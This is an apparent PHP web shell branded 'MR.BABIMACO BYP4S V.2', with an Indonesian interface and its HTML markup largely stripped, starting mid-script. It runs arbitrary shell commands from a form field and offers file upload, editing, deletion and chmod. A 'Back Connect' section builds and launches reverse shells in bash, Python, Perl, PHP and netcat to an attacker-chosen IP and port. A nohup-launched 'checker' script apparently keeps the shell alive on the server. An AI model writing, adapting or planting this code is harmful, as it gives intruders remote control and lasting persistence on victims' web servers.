window.location = "' . $_SERVER['PHP_SELF'] . '"
';
} else {
echo 'password salah!';
}
}
?>
❌ Gagal membuat checker: $checker_script. Periksa izin direktori.";
}
chmod($checker_script, 0644);
file_put_contents($log_file, date('Y-m-d H:i:s') . " Checker dibuat: $checker_script\n", FILE_APPEND);
$running = shell_exec("ps aux | grep '$checker_script' | grep -v grep");
if (empty($running)) {
$nohup_result = shell_exec("nohup $php_path $checker_script > /dev/null 2>&1 & echo $!");
if ($nohup_result) {
file_put_contents($log_file, date('Y-m-d H:i:s') . " Checker dijalankan: $checker_script (PID: $nohup_result)\n", FILE_APPEND);
} else {
file_put_contents($log_file, date('Y-m-d H:i:s') . " Gagal menjalankan checker: $checker_script\n", FILE_APPEND);
return "❌ Gagal menjalankan checker: $checker_script. Pastikan PHP tersedia.
";
}
}
return "✅ Auto Backup & Restore aktif! Backup: $backup_path, Checker: $checker_script, Log: $log_file
";
}
if (isset($_POST['auto_cronjob'])) {
echo add_nohup_backup_persistent();
}
if (isset($_POST['auto_bc_rs'])) {
echo add_auto_bc_rs($cwd);
}
function is_dir_writable($path) {
return is_writable($path) && is_dir($path);
}
echo '.
';
echo "MR.BABIMACO BYP4S V.2
";
echo "Server IP: " . $_SERVER['SERVER_ADDR'] . "
";
echo "Server Domain: " . $_SERVER['SERVER_NAME'] . "
";
echo "Web Server: " . $_SERVER['SERVER_SOFTWARE'] . "
";
echo "User: " . get_current_user() . " | ";
echo "OS: " . php_uname() . "
";
echo "Current Path: ";
$parts = explode(DIRECTORY_SEPARATOR, trim($cwd, DIRECTORY_SEPARATOR));
$build = "";
echo "📁" . DIRECTORY_SEPARATOR;
foreach ($parts as $part) {
$build .= DIRECTORY_SEPARATOR . $part;
echo "";
echo " ";
echo htmlspecialchars($part) . "" . DIRECTORY_SEPARATOR;
}
echo "
Back Connect
";
echo "";
if (isset($_POST['bc_start']) && !empty($_POST['bc_ip']) && !empty($_POST['bc_port'])) {
$ip = $_POST['bc_ip'];
$port = $_POST['bc_port'];
$type = $_POST['bc_type'];
$cmd = '';
switch ($type) {
case 'bash':
$cmd = "bash -i >& /dev/tcp/$ip/$port 0>&1";
break;
case 'python':
$cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\"])'";
break;
case 'perl':
$cmd = "perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'";
break;
case 'php':
$cmd = "php -r '\$sock=fsockopen(\"$ip\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");'";
break;
case 'nc':
$cmd = "nc $ip $port -e /bin/sh";
break;
}
echo "⏳ Mencoba connect via $type to $ip:$port...
";
shell_exec("$cmd > /dev/null 2>&1 &");
}
echo "
";
echo "
";
echo "
";
if (isset($_POST['create']) && !empty($_POST['newname'])) {
$name = basename($_POST['newname']);
$path = $cwd . DIRECTORY_SEPARATOR . $name;
if ($_POST['type'] === 'file') {
file_put_contents($path, '');
} else {
mkdir($path);
}
}
if (isset($_POST['terminal_cmd'])) {
echo "Output
";
$cmd = $_POST['terminal_cmd'];
$output = shell_exec("cd " . escapeshellarg($cwd) . " && $cmd 2>&1");
echo htmlspecialchars($cmd) . "\n" . htmlspecialchars($output);
echo "
";
}
if (isset($_POST['terminal_shell'])) {
echo "Terminal Shell
";
}
echo "
";
if (isset($_FILES['file'])) {
$filename = basename($_FILES['file']['name']);
$upload_path = $cwd . DIRECTORY_SEPARATOR . $filename;
$upload = move_uploaded_file($_FILES['file']['tmp_name'], $upload_path);
if ($upload) {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
$host = $_SERVER['HTTP_HOST'];
$relative_path = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', realpath($upload_path));
$file_url = $protocol . $host . str_replace(DIRECTORY_SEPARATOR, '/', $relative_path);
echo "";
echo "File Uploaded /" . htmlspecialchars(str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', $upload_path)) . "
";
echo "Link: " . htmlspecialchars($file_url) . "";
echo "
";
} else {
echo "❌ Upload failed
";
}
}
if (isset($_GET['edit'])) {
$edit_file = realpath($cwd . DIRECTORY_SEPARATOR . $_GET['edit']);
if ($edit_file === false || strpos($edit_file, $cwd) !== 0) {
echo "❌ Akses ditolak.
";
} elseif (is_file($edit_file)) {
if (isset($_POST['edit_file']) && isset($_POST['new_content'])) {
file_put_contents($edit_file, $_POST['new_content']);
echo "✅ File berhasil disimpan.
";
}
$content = htmlspecialchars(file_get_contents($edit_file));
echo "📝 Edit File: " . htmlspecialchars($_GET['edit']) . "
";
echo "
";
} else {
echo "❌ Ini folder bre, klo mau rename pake yang satunya.
";
}
}
if (isset($_GET['rename'])) {
$old_name = basename($_GET['rename']);
$old_path = $cwd . DIRECTORY_SEPARATOR . $old_name;
if (file_exists($old_path)) {
echo "Rename: " . htmlspecialchars($old_name) . "
";
} else {
echo "❌ File/Folder tidak ditemukan
";
}
}
if (isset($_POST['newname']) && isset($_POST['oldname'])) {
$new_path = $cwd . DIRECTORY_SEPARATOR . basename($_POST['newname']);
if (rename($_POST['oldname'], $new_path)) {
echo "✅ Berhasil di-rename ke " . htmlspecialchars($_POST['newname']) . "
";
} else {
echo "❌ Gagal rename!
";
}
}
function file_controls($item, $cwd, $is_dir) {
$full = $cwd . DIRECTORY_SEPARATOR . $item;
$perm = substr(sprintf('%o', fileperms($full)), -4);
$perm_color = is_writable($full) ? "$perm" : "$perm";
$owner_id = fileowner($full);
$group_id = filegroup($full);
$owner = function_exists('posix_getpwuid') ? posix_getpwuid($owner_id)['name'] : $owner_id;
$group = function_exists('posix_getgrgid') ? posix_getgrgid($group_id)['name'] : $group_id;
$actions = "[✏️]
[🔄]
[🗑️]
[⚙️]";
$icon = $is_dir ? "📁" : "📄";
$link = $is_dir
? "?d=" . urlencode($full)
: "?d=" . urlencode($cwd) . "&edit=" . urlencode($item);
return "$icon $item |
" . ($is_dir ? 'Dir' : 'File') . " |
$perm_color |
$owner/$group |
$actions |
";
}
$items = scandir($cwd);
$dirs = $files = [];
foreach ($items as $item) {
if ($item === '.') continue;
if (is_dir($item)) $dirs[] = $item;
else $files[] = $item;
}
if (isset($_GET['delete'])) {
$target = $cwd . DIRECTORY_SEPARATOR . $_GET['delete'];
if (is_file($target)) {
if (unlink($target)) {
echo "✅ File berhasil dihapus!
";
} else {
echo "❌ Gagal menghapus file!
";
}
} elseif (is_dir($target)) {
if (rmdir($target)) {
echo "✅ Folder berhasil dihapus!
";
} else {
echo "❌ Gagal menghapus folder! Pastikan folder kosong.
";
}
}
}
if (isset($_GET['chmod'])) {
$target = $cwd . DIRECTORY_SEPARATOR . $_GET['chmod'];
if (file_exists($target)) {
echo "CHMOD: " . htmlspecialchars($_GET['chmod']) . "
";
} else {
echo "❌ Target tidak ditemukan!
";
}
}
if (isset($_POST['chmod_val']) && isset($_POST['chmod_file'])) {
$mode = intval($_POST['chmod_val'], 8);
if (chmod($_POST['chmod_file'], $mode)) {
echo "✅ CHMOD berhasil diubah ke " . htmlspecialchars($_POST['chmod_val']) . "
";
} else {
echo "❌ Gagal mengubah CHMOD
";
}
}
echo "Name | Type | Permission | Owner/Group | Action |
";
foreach ($dirs as $dir) {
echo file_controls($dir, $cwd, true);
}
foreach ($files as $file) {
echo file_controls($file, $cwd, false);
}
echo "
";
?>